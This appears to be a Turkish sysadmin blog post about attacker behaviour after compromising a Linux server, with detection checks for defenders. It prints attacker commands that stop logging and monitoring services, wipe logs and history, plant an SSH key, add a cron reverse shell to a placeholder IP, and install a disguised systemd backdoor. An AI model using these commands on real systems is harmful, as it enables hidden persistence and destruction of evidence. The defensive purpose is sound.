Linux Sunucunuza Sızdıktan Sonra Hacker'ların İlk Hamlesi Ne?

Hacker sunucunuza girdiğinde yaptığı ilk iş veri çalmak veya fidye yazılımı kurmak değildir — ayak tuturmaktır. Sızmanın ilk dakikalarında saldırgan genellikle loglamayı kapatır, yetkileri yükseltir ve bir kalıcılık mekanizması kurar; böylece onu kolayca dışarı atamazsınız. Bu sızma sonrası zinciri anlamak önemli çünkü sen tahminlerle vakit kaybederken her dakika altyapınızda daha derine kazıyorlar.

Ben temizlediğim compromised box sayısı kadar söyleyebilirim: desen şaşırtıcı derecede tutarlı. İlk saatlerde neye bakmanız gerektiğini biliyorsanız, hasarın yayılma alanını hâlâ sınırlayabilirsiniz.

İlk Dakikalar Hasar Değil, Kalıcılık İçindir

Çoğu sistem yöneticisi saldırganların hemen veritabanlarını dışarı aktarmaya veya dosyaları şifrelemeye başladığını düşünür. Bu Hollywood versiyonu. Gerçekte ilk 5–10 dakika sessiz ve metodiktir. Saldırgan onları fark etmemenizi ve bir reboot ya da kill edilen process'in erişimlerini kesmemesini ister.

İlk öncelikleri genelde şunlardır:

• Hangi user ve shell ile geldiklerini doğrulamak
• Monitoring agent ve loglama servislerini kontrol etmek
• Bu gözlemlenebilirlik araçlarını devre dışı bırakmak veya kurcalamak
• Henüz root değillerse root'a yükselmek
• Reboot'lardan sağsalim kurtulan bir arka kapı kurmak

Bu aşamada yakalarsanız gerçek bir şansınız var. Kalıcılık yerine oturduktan sonra süre size karşı işler.

Loglama ve Monitoring Agent'larını Devre Dışı Bırakma

Saldırganların çalıştırdığı ilk komut genelde kendilerini izleyen şeyin kontrolüdür. auditd, syslog-ng, rsyslog, filebeat gibi süreçleri veya Zabbix agent ve Datadog daemon gibi monitoring agent'larını ararlar.

Yaygın bir desen şuna benzer:

ps aux | grep -E 'audit|syslog|zabbix|filebeat|ossec|wazuh'
systemctl status auditd
systemctl status rsyslog

Root veya yeterli yetkileri varsa bu servisleri doğrudan kill eder veya durdurur:

systemctl stop auditd
systemctl stop rsyslog
systemctl stop zabbix-agent2
pkill -9 -f filebeat

Bazen daha ince davranırlar. Servisi durdurmak yerine sadece logları temizlerler; böylece şüpheli bir şey göremezsiniz:

cat /dev/null > /var/log/auth.log
cat /dev/null > /var/log/syslog
history -c && history -w

İpucu: Loglarınızı uzak bir syslog sunucusuna veya SIEM'e forward edin. Loglar sadece compromised olan kutuda duruyorsa saldırgan kanıtları silebilir. Ben tam bu yüzden ayrı bir hardened VM üzerinde merkezi bir rsyslog collector tutuyorum.

Yetki Yükseltme: Hızlıca Root'a Ulaşma

İlk erişim bir web shell, www-data olarak çalışan zaafiyetli bir servis veya düşük yetkili bir SSH hesabı üzerinden olduysa sonraki adım root'a yükselmektir. Saldırgan sistemde yanlış yapılandırma arar.

Genelde şunları kontrol ederler:

• Bilinen exploit'ler için kernel sürümü (uname -a)
• Sudo yanlış yapılandırmaları (sudo -l)
• SUID binary'ler (find / -perm -4000 -type f 2>/dev/null)
• Yazılabilir cron script'leri veya sistem path'leri
• Shell history veya config dosyalarındaki açığa çıkmış secret'ler

Eğer shell komutu çalıştıran bir script'te NOPASSWD gibi özensiz bir sudoers girdiniz varsa root'u onlara peşkeş çekiyorsunuz. Bu tam yanlış yapılandırmanın iki dakikadan kısa sürede tam compromise'a yol açtığını gördüm.

Kalıcılık Sağlama: Arka Kapılar ve SSH Anahtarları

Root'u aldıktan sonra geri dönebilmelerini sağlarlar. Bu, kaçırırsanız incident response'u acı veren aşamadır. Klasik hareket, root hesabına veya bir servis hesabına authorized SSH key bırakmaktır:

mkdir -p ~/.ssh
echo 'ssh-ed25519 AAAAC3Nza... attacker@kali' >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys

Ama daha akıllı olanları erişimi periyodik olarak yeniden kurmak için cron veya systemd timer kullanır. 5 dakikada bir phone home yapan bir reverse shell:

(crontab -l; echo "*/5 * * * * /bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'") | crontab -

Veya ilk bakışta meşru görünen kötü niyetli bir systemd servisi:

[Unit]
Description=System Network Monitor

[Service]
Type=simple
ExecStart=/usr/local/bin/.sysmon
Restart=always

[Install]
WantedBy=multi-user.target

İzleri Gizleme ve History'yi Temizleme

Gerçek zararlı işe başlamadan önce arkalarını temizlerler. Bash history'yi devre dışı bırakmak standarttır:

unset HISTFILE
export HISTSIZE=0
history -c

Bazı saldırganlar ayrıca logrotate config'lerini değiştirir veya logtamper ve basit sed one-liner'larıyla loglardan belirli zaman aralıklarını siler. Bu yüzden ciddi herhangi bir production ortamında logları kutu dışında tutmak pazarlık konusu değildir.

Şüpheli Sızma Sonrası Hemen Ne Kontrol Etmelisiniz

Sızma olduğundan şüpheleniyorsanız sunucuyu hemen reboot etmeyin. Reboot bellekteki volatile kanıtları yok edebilir ve saldırganın nereden geldiğini söyleyen aktif bağlantıları öldürebilir. Bunun yerine şu kontrollerle başlayın:

1. O an login olan user'ları kontrol edin: w ve last -a -i
2. Beklenmedik SSH key'leri arayın: find / -name authorized_keys 2>/dev/null
3. Başlangıç zamanına göre sıralı çalışan süreçleri inceleyin: ps aux --sort=-start_time
4. Tüm user'lar için cron'u kontrol edin: for user in $(cut -f1 -d: /etc/passwd); do crontab -u $user -l 2>/dev/null; done
5. Son zamanlarda değiştirilen systemd servislerini inceleyin: find /etc/systemd -mtime -1 -type f
6. Ağ bağlantılarını gözden geçirin: ss -tulpn ve netstat -antp

Daha önce production Linux komutları yazımda (https://furkanikkan.com/urun/production-ortaminda-gercekten-kullandigim-15-linux-terminal-komutu-25) belirttiğim gibi, bir incident öncesi güvenilir komutlardan oluşan bir toolkit'in hazır olması, gece 2'de panik halindeyken size kritik dakikalar kazandırır.

Sızma Sonrası Müdahalenin Gerçeği

Saldırganlar hızlıdır. Bu zincirin tamamını saniyeler içinde otomatikleştiren script'leri vardır. Sadece tepki vermede değil, tespitte de hızlı olmanız gerekir. Monitoring'iniz bir sızımı üç saat sonra haber veriyorsa ilk dakikaları zaten kaybettiniz — ve o dakikalar her şeydir.

Tespitinizi saldırganın onu devre dışı bırakmaya çalışacağı varsayımıyla kurun. Bu; değiştirilemez log'lar, servis durmalarında alert verme ve ~/.ssh/authorized_keys ve /etc/cron* gibi kritik path'lerde file integrity monitoring demektir. Bundan tek bir şey çıkaracaksanız o kutu dışı log olsun. Geri kalan her şey sonra düzeltilebilir ama silinmiş kanıt sonsuza dek gitmiştir.

Kapak görseli: artofthehak · PDM (Openverse / kamu malı) · https://www.flickr.com/photos/158359056@N03/29635318598